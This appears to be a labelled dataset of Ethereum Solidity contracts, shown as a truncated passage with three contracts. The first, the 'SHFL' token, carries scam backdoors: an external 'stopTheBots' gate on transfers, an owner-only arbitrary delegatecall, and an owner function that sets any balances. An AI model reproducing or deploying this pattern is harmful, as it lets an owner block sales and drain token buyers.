(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract SHFL is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "SHUFFLE!";
string public symbol = "SHFL";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wrappedEther, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 71 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
pragma solidity ^0.5.0;
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
pragma solidity ^0.5.0;
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.0;
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
contract IWhitelist {
function isWhitelisted(address account) public view returns (bool);
}
pragma solidity ^0.5.0;
contract ERC20Whitelistable is ERC20Mintable, Ownable {
event WhitelistChanged(IWhitelist indexed account);
IWhitelist public whitelist;
function setWhitelist(IWhitelist _whitelist) public onlyOwner {
whitelist = _whitelist;
emit WhitelistChanged(_whitelist);
}
modifier onlyWhitelisted(address account) {
require(isWhitelisted(account));
_;
}
modifier notWhitelisted(address account) {
require(!isWhitelisted(account));
_;
}
function isWhitelisted(address account) public view returns (bool) {
return whitelist.isWhitelisted(account);
}
function transfer(address to, uint256 value)
public
onlyWhitelisted(msg.sender)
onlyWhitelisted(to)
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value)
public
onlyWhitelisted(from)
onlyWhitelisted(to)
returns (bool)
{
return super.transferFrom(from, to, value);
}
function mint(address to, uint256 value) public onlyWhitelisted(to) returns (bool) {
return super.mint(to, value);
}
}
pragma solidity ^0.5.0;
contract BurnerRole {
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private _burners;
constructor () internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return _burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
function renounceBurner() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
_burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners.remove(account);
emit BurnerRemoved(account);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20, BurnerRole {
function burn(uint256 value) public onlyBurner() {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public onlyBurner() {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.0;
contract CanReclaimEther is Ownable {
function reclaimEther() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
}
pragma solidity ^0.5.0;
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
pragma solidity ^0.5.0;
contract CanReclaimToken is Ownable {
using SafeERC20 for IERC20;
function reclaimToken(IERC20 token) external onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(owner(), balance);
}
}
pragma solidity ^0.5.0;
contract LeveragedToken is
ERC20Detailed,
ERC20Pausable,
ERC20Mintable,
ERC20Burnable,
ERC20Whitelistable,
CanReclaimEther,
CanReclaimToken
{
using SafeMath for uint256;
constructor(string memory name, string memory symbol)
ERC20Detailed(name, symbol, 18)
public
{}
function burnBlacklisted(address from, uint256 value)
public
onlyBurner()
notWhitelisted(from)
{
_burn(from, value);
}
} | 1 | 4,448 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) private _tokenOwner;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => uint256) private _ownedTokensCount;
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
mapping(address => uint256[]) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) external view returns (string);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
string private _name;
string private _symbol;
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address tokenAddress,
uint256 tokenAmount
)
public
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
contract CryptoGiftToken is ERC721Full, MinterRole, TokenRecover {
struct GiftStructure {
uint256 amount;
address purchaser;
string content;
uint256 date;
uint256 style;
}
uint256 private _styles;
uint256 private _progressiveId;
uint256 private _maxSupply;
mapping(uint256 => GiftStructure) private _structureIndex;
modifier canGenerate() {
require(
_progressiveId < _maxSupply,
"Max token supply reached"
);
_;
}
constructor(
string name,
string symbol,
uint256 maxSupply
)
public
ERC721Full(name, symbol)
{
_maxSupply = maxSupply;
}
function styles() external view returns (uint256) {
return _styles;
}
function progressiveId() external view returns (uint256) {
return _progressiveId;
}
function maxSupply() external view returns (uint256) {
return _maxSupply;
}
function newGift(
uint256 amount,
address purchaser,
address beneficiary,
string content,
uint256 date,
uint256 style
)
external
canGenerate
onlyMinter
returns (uint256)
{
require(
date > 0,
"Date must be greater than zero"
);
require(
style <= _styles,
"Style is not available"
);
uint256 tokenId = _progressiveId.add(1);
_mint(beneficiary, tokenId);
_structureIndex[tokenId] = GiftStructure(
amount,
purchaser,
content,
date,
style
);
_progressiveId = tokenId;
return tokenId;
}
function isVisible (
uint256 tokenId
)
external
view
returns (bool visible, uint256 date)
{
if (_exists(tokenId)) {
GiftStructure storage gift = _structureIndex[tokenId];
visible = block.timestamp >= gift.date;
date = gift.date;
} else {
visible = false;
date = 0;
}
}
function getGift (uint256 tokenId)
external
view
returns (
uint256 amount,
address purchaser,
address beneficiary,
string content,
uint256 date,
uint256 style
)
{
require(
_exists(tokenId),
"Token must exists"
);
GiftStructure storage gift = _structureIndex[tokenId];
require(
block.timestamp >= gift.date,
"Now should be greater than gift date"
);
amount = gift.amount;
purchaser = gift.purchaser;
beneficiary = ownerOf(tokenId);
content = gift.content;
date = gift.date;
style = gift.style;
}
function burn(uint256 tokenId) external {
address tokenOwner = isOwner() ? ownerOf(tokenId) : msg.sender;
super._burn(tokenOwner, tokenId);
delete _structureIndex[tokenId];
}
function setStyles(uint256 newStyles) external onlyMinter {
require(
newStyles > _styles,
"Styles cannot be decreased"
);
_styles = newStyles;
}
}
contract CryptoGiftMarketplace is TokenRecover {
using SafeMath for uint256;
CryptoGiftToken private _token;
address private _wallet;
uint256 private _price;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 tokenId
);
constructor(uint256 price, address wallet, address token) public {
require(
wallet != address(0),
"Wallet can't be the zero address"
);
require(
token != address(0),
"Token can't be the zero address"
);
_price = price;
_wallet = wallet;
_token = CryptoGiftToken(token);
}
function buyToken(
address beneficiary,
string content,
uint256 date,
uint256 style
)
external
payable
{
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 giftValue = msg.value.sub(_price);
uint256 lastTokenId = _processPurchase(
giftValue,
beneficiary,
content,
date,
style
);
emit TokenPurchase(
msg.sender,
beneficiary,
giftValue,
lastTokenId
);
_forwardFunds(giftValue, beneficiary);
}
function token() external view returns (CryptoGiftToken) {
return _token;
}
function wallet() external view returns (address) {
return _wallet;
}
function price() external view returns (uint256) {
return _price;
}
function setPrice(uint256 newPrice) external onlyOwner {
_price = newPrice;
}
function setWallet(address newWallet) external onlyOwner {
require(
newWallet != address(0),
"Wallet can't be the zero address"
);
_wallet = newWallet;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
require(
beneficiary != address(0),
"Beneficiary can't be the zero address"
);
require(
weiAmount >= _price,
"Sent ETH must be greater than or equal to token price"
);
}
function _processPurchase(
uint256 amount,
address beneficiary,
string content,
uint256 date,
uint256 style
)
internal
returns (uint256)
{
return _token.newGift(
amount,
msg.sender,
beneficiary,
content,
date,
style
);
}
function _forwardFunds(uint256 giftValue, address beneficiary) internal {
if (_price > 0) {
